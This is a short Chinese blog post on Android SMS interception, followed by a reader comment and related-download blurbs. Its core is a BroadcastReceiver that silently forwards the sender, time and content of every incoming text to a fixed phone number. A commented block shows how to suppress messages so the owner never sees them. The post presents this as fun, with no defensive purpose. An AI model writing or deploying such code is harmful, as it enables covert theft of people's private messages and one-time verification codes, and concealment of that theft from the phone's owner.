`
xfjt297857539
  • 浏览: 152346 次
  • 性别: Icon_minigender_1
  • 来自: 南京
社区版块
存档分类
最新评论

Android短信拦截

阅读更多
Android短信拦截
  要实现这个功能其实很简单,手机接收到短信后会发出一段广播,我们只需在程序中写个广播接收器,然后写好特定的权限,当然这个功能还是比较好玩的,可以实现对机器的短信
  
  public class SMSBroadcastReceiver extends BroadcastReceiver {
    @Override
    public void onReceive(Context context, Intent intent) {
        Object[] pdus = (Object[])intent.getExtras().get("pdus");//获取短信内容
        for(Object pdu : pdus){
            byte[] data = (byte[]) pdu;//获取单条短信内容,短信内容以pdu格式存在
            SmsMessage message = SmsMessage.createFromPdu(data);//使用pdu格式的短信数据生成短信对象
            String sender = message.getOriginatingAddress();//获取短信的发送者
            String content = message.getMessageBody();//获取短信的内容
            Date date = new Date(message.getTimestampMillis());
            SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
            String sendtime = format.format(date);
                SmsManager manager = SmsManager.getDefault();
                manager.sendTextMessage("5556", null,"发送人:"+sender+"-----发送时间:"+sendtime+"----内容:"+content , null, null);//把拦截到的短信发送到你指定的手机,此处为5556
            //    if("number".equals(sender)){
            //        abortBroadcast();
            //    }                                  //如果不想让机主接收到某个号码的短信,
                                                    //可以取消这段注释, number 为指定的号码
                                                    //也可在此处给这个号码回复的内容。。。。。
       
        }
    }

}
分享到:
评论
1 楼 weishen 2011-07-25  
请问你是怎么做第三方软件的屏蔽呢?

相关推荐

    Android短信拦截源码

    这个"Android短信拦截源码"可能包含了实现这一功能的完整代码库,可以帮助我们理解如何在Android应用中实现短信的拦截和管理。下面将详细讨论Android短信拦截的相关知识点。 1. **BroadcastReceiver**: 在Android中...

    Android 短信拦截器

    在Android系统中,短信拦截器是一种机制,允许开发者在...以上就是关于Android短信拦截器的一些关键知识点,涵盖了实现原理、代码实现、权限管理以及测试方法。理解并掌握这些内容,你就可以创建自己的短信拦截应用了。

    android短信拦截

    总结以上知识点,我们可以创建一个功能完善的Android短信拦截应用。从权限申请到广播接收,再到拦截逻辑的实现,每个步骤都需要细心处理,以确保应用的稳定性和用户体验。通过学习和理解这些知识点,开发者可以更好...

    Android短信拦截机制的研究.pdf

    【Android短信拦截机制】 在Android系统中,短信作为重要的通信方式,承载了诸如银行验证码、登录验证、交易通知等敏感信息。然而,由于Android的开放性,恶意软件开发者可以利用系统漏洞来实施短信拦截,从而窃取...

    android 短信拦截源码

    在Android系统中,短信拦截是一项重要的功能,它允许应用程序在接收到短信时进行处理,比如阻止垃圾短信或者自动执行特定操作。本项目“android 短信拦截源码”提供了实现这一功能的代码示例,我们可以从中学到如何...

    android短信拦截和定位

    综上所述,实现Android短信拦截和定位涉及到了BroadcastReceiver、LocationManager、权限管理等多个Android系统的核心组件和技术。在实际开发中,开发者需要注意系统的差异性,遵循最佳实践,确保功能的稳定性和用户...

    基于Android短信拦截设计与实现.docx

    基于Android短信拦截设计与实现.docx

    基于静态和动态分析的Android短信拦截马自动分析取证方法研究.pdf

    【Android客户端应用开发】 在移动互联网时代,Android...总之,基于静态和动态分析的Android短信拦截马自动分析取证方法是打击移动安全威胁的有效途径,通过深入研究和实践,可以更好地保护用户隐私,维护网络安全。

    android 短信拦截及存储源代码

    对任何短信进行拦截,并针对不同种类的短信分别存储 如果还需要屏蔽特殊短信的来信提醒,就要修改源代码,具体是: 可以在SmsReceiverService.java的insertMessage方法里拦截。短信的来源和内容都可以通过class ...

    Sms.zip_android sms_android 短信_sms_安卓_安卓短信拦截

    而“Sms.zip”这个压缩包文件可能包含了关于Android短信拦截和转发的实现代码或者资源。接下来,我们将深入探讨Android短信服务,特别是如何实现拦截和转发机制。 1. **Android SMS服务**:Android提供了一个名为`...

    Android4.4+短信拦截删除

    本文将深入探讨Android 4.4+短信拦截删除的相关知识点。 首先,我们要了解的是`BroadcastReceiver`,这是Android系统中用于监听特定事件(如接收到短信)的重要组件。开发者可以创建一个自定义的`BroadcastReceiver...

    android短信拦截的实现代码

    以下是关于Android短信拦截的详细解释和代码实现: 1. **BroadcastReceiver**: Android中的BroadcastReceiver是用于监听系统或应用广播事件的类。当一个广播事件发生时,系统会将广播意图(Intent)发送给注册了...

    android 短信和电话拦截

    短信拦截主要是通过注册`BroadcastReceiver`监听`android.provider.Telephony.SMS_RECEIVED`广播,当有新的短信到达时,BroadcastReceiver的`onReceive()`方法会被调用。在这里,你可以检查短信的内容和发件人,根据...

    android短信电话拦截实现

    电话拦截主要通过监听PhoneStateListener,而短信拦截则依赖于BroadcastReceiver来接收和处理ACTION_PHONE_STATE和SMS_RECEIVED广播。 二、短信拦截 1. 创建BroadcastReceiver:首先定义一个继承自...

    SMS.rar_android_android sms_android 短信_短信拦截

    本文将深入探讨Android平台上的短信功能,特别是如何在Android应用中实现短信拦截,以及有序广播的概念。 一、Android SMS服务基础 Android系统提供了SmsManager类,它是处理短信操作的主要接口。通过这个类,...

    android 短信电话拦截

    2. **短信拦截**: - **SmsBroadcastReceiver**:类似于来电拦截,开发者可以创建一个BroadcastReceiver监听SMS_RECEIVED广播。当短信到达时,BroadcastReceiver会被触发,此时可以检查短信内容并决定是否阻止其...

Global site tag (gtag.js) - Google Analytics